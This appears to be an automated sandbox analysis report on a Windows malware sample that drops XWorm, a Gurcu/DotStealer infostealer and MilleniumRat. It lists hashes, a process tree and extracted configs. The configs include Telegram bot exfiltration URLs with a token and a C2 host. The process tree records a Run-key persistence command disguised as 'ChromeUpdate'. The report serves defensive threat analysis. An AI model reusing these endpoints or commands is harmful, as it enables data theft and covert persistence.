Analysis

  • max time kernel
    114s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-09-2024 11:30

General

  • Target

    Output.exe

  • Size

    11.6MB

  • MD5

    d7c99b9559332b8652b2cf85c34f1dea

  • SHA1

    cbd247890c862d964683f8dc81cc3d7747bdfb73

  • SHA256

    53d398e45aaad1c1cbbb4be5abd2a0d2c039b746792fb63bd8b9b28aebf359ca

  • SHA512

    184945ec88ebe3e3ec5e3a71b9870b3459a0bb37491a665f356d3cb7286e0e79bed44a19e21cceba0fe0ec07a1d89e2238c70b06bd9c5dc5956b7715e8a8911f

  • SSDEEP

    196608:tO3ytpGu2gWR5fMEseOI8LG8Ac+g6sFZstcVw8q1Q6HmVF:tO3j5gWR5fBSI58t+gbZst9

Malware Config

Extracted

Family

xworm

C2

reason-warnings.gl.at.ply.gg:20382

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

Extracted

Family

gurcu

C2

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4594364141&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0%20kb

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendMessage?chat_id=-4594364141

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/getUpdates?offset=-

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4590251468&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20138.199.29.44%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan

https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4594364141&caption=%F0%9F%93%B8Screenshot%20take

Signatures

  • Detect Xworm Payload 2 IoCs
  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

  • MilleniumRat

    MilleniumRat is a remote access trojan written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 53 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Output.exe
    "C:\Users\Admin\AppData\Local\Temp\Output.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4496
    • C:\Users\Admin\AppData\Roaming\qscan_original.exe
      "C:\Users\Admin\AppData\Roaming\qscan_original.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3080
      • C:\Users\Admin\AppData\Roaming\built.exe
        "C:\Users\Admin\AppData\Roaming\built.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3152
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\built.exe /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4600
          • C:\Windows\system32\reg.exe
            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\built.exe /f
            5⤵
            • Adds Run key to start application
            • Modifies registry key
            PID:2008
      • C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe
        "C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:452
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpA76B.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpA76B.tmp.bat
          4⤵
            PID:2680
      • C:\Users\Admin\AppData\Roaming\system user.exe
        "C:\Users\Admin\AppData\Roaming\system user.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:4384

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

      Filesize

      1.7MB

      MD5

      65ccd6ecb99899083d43f7c24eb8f869

      SHA1

      27037a9470cc5ed177c0b6688495f3a51996a023

      SHA256

      aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

      SHA512

      533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

    • C:\Users\Admin\AppData\Local\Temp\tmpA76B.tmp.bat

      Filesize

      180B

      MD5

      90c32a443b766d13a18c2667f1fe4c1c

      SHA1

      cc83881532987be840f5cd8367cc76be22a9df34

      SHA256

      f1f5fcdcdd790ced70395489a454d47937739d5a36c34f0554224b9d98bf3bf2

      SHA512

      1abc2817875627021dd58c5740cc6b451e41552126251e51b7ad8770e3a4615d1e7925d49bb2dcd961fc94af1b32da362027357eba6fe969b0119e8f56f2f5c9

    • C:\Users\Admin\AppData\Roaming\AdminUserCash\CREDIT~1

      Filesize

      116KB

      MD5

      f70aa3fa04f0536280f872ad17973c3d

      SHA1

      50a7b889329a92de1b272d0ecf5fce87395d3123

      SHA256

      8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

      SHA512

      30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

    • C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe

      Filesize

      5.6MB

      MD5

      f239a3a3bf4ae3bdf42659c2c22cb270

      SHA1

      3827636f0703be1a9dfbd3ff9efce30ef0da43c8

      SHA256

      a5fb7d12b140c0adfcefce222d9806233b6dcca69533e84f5f82f7216b097263

      SHA512

      56df258f8eb274ddd128ed98ddd1a80af14f11a2799201b8a34319e7680e169a51b2377922dced4e6ea4a1d2d69b37c807d9ffafd178a0c056c055655d8cd9ae

    • C:\Users\Admin\AppData\Roaming\built.exe

      Filesize

      5.6MB

      MD5

      0edfa1005fee9b98800ab3e447944c87

      SHA1

      5ab856560c8293044f2a2391aae9c4961e2ddd03

      SHA256

      1e1760588cdd811a36243278251a1da277b30e1c8451cfbdcab83a26f34d0611

      SHA512

      033d320728072fb3dd51b08d97871554c68779485f0c8e13c9d887ea0b1d02b29e53e2c06324e92959242e17b16cbd80a822034a78307acc983a49abb3556074

    • C:\Users\Admin\AppData\Roaming\qscan_original.exe

      Filesize

      11.3MB

      MD5

      4bee8c6e2c7a30b0fd7d468532c19447

      SHA1

      d91dcf39c0c8f360411cb0f9fc31c9a5dd2c8f7c

      SHA256

      1c9f16ebad32e5d7e124e0553ce52802040fc70448a04af42a1b934080288c09

      SHA512

      3b7e908bf6162141e5d42951216897b849fe37404d25beacacc3a0c096c7d76738ddf16f55d271ec9eadb00c75b257937f4a02e5bae4a730f3f17cbd44ca72fa

    • C:\Users\Admin\AppData\Roaming\system user.exe

      Filesize

      179KB

      MD5

      6082abd8cccf27a1c8527210c139489f

      SHA1

      f3b5ceb84ebdcb8df4abfdce3cac47293bad0e2f

      SHA256

      ce1d896325cac0ef1f0332d6b513987566ce29a5a6a56275496ba5f38e3d292d

      SHA512

      78cbe63b1280909306e6759328a2e8eeff22c0c925135ee842d55738f4d51bad89ee68a2022cc34da656280621a2aeb112fcd5712bed1349ec38eb646897eb34

    • memory/452-69-0x00000291FED10000-0x00000291FED32000-memory.dmp

      Filesize

      136KB

    • memory/452-73-0x00000291E6270000-0x00000291E6296000-memory.dmp

      Filesize

      152KB

    • memory/452-71-0x00000291FEF40000-0x00000291FEF7A000-memory.dmp

      Filesize

      232KB

    • memory/452-68-0x00000291FEEB0000-0x00000291FEF00000-memory.dmp

      Filesize

      320KB

    • memory/452-67-0x00000291FEB00000-0x00000291FEBB2000-memory.dmp

      Filesize

      712KB

    • memory/452-65-0x00000291E6200000-0x00000291E626A000-memory.dmp

      Filesize

      424KB

    • memory/452-58-0x00000291E3FE0000-0x00000291E4578000-memory.dmp

      Filesize

      5.6MB

    • memory/452-62-0x00000291E4B30000-0x00000291E4B3A000-memory.dmp

      Filesize

      40KB

    • memory/3080-59-0x00007FF844510000-0x00007FF844FD1000-memory.dmp

      Filesize

      10.8MB

    • memory/3080-26-0x00007FF844510000-0x00007FF844FD1000-memory.dmp

      Filesize

      10.8MB

    • memory/3080-27-0x0000000000B50000-0x00000000016A2000-memory.dmp

      Filesize

      11.3MB

    • memory/3152-109-0x0000020C4FD60000-0x0000020C4FD72000-memory.dmp

      Filesize

      72KB

    • memory/3152-57-0x0000020C4F730000-0x0000020C4F7A6000-memory.dmp

      Filesize

      472KB

    • memory/3152-40-0x0000020C34CD0000-0x0000020C35272000-memory.dmp

      Filesize

      5.6MB

    • memory/3152-63-0x0000020C36E60000-0x0000020C36E7E000-memory.dmp

      Filesize

      120KB

    • memory/4384-64-0x00007FF844510000-0x00007FF844FD1000-memory.dmp

      Filesize

      10.8MB

    • memory/4384-28-0x00007FF844510000-0x00007FF844FD1000-memory.dmp

      Filesize

      10.8MB

    • memory/4384-112-0x00007FF844510000-0x00007FF844FD1000-memory.dmp

      Filesize

      10.8MB

    • memory/4384-25-0x0000000000820000-0x0000000000852000-memory.dmp

      Filesize

      200KB

    • memory/4496-0-0x00007FF844513000-0x00007FF844515000-memory.dmp

      Filesize

      8KB

    • memory/4496-1-0x0000000000DA0000-0x000000000193A000-memory.dmp

      Filesize

      11.6MB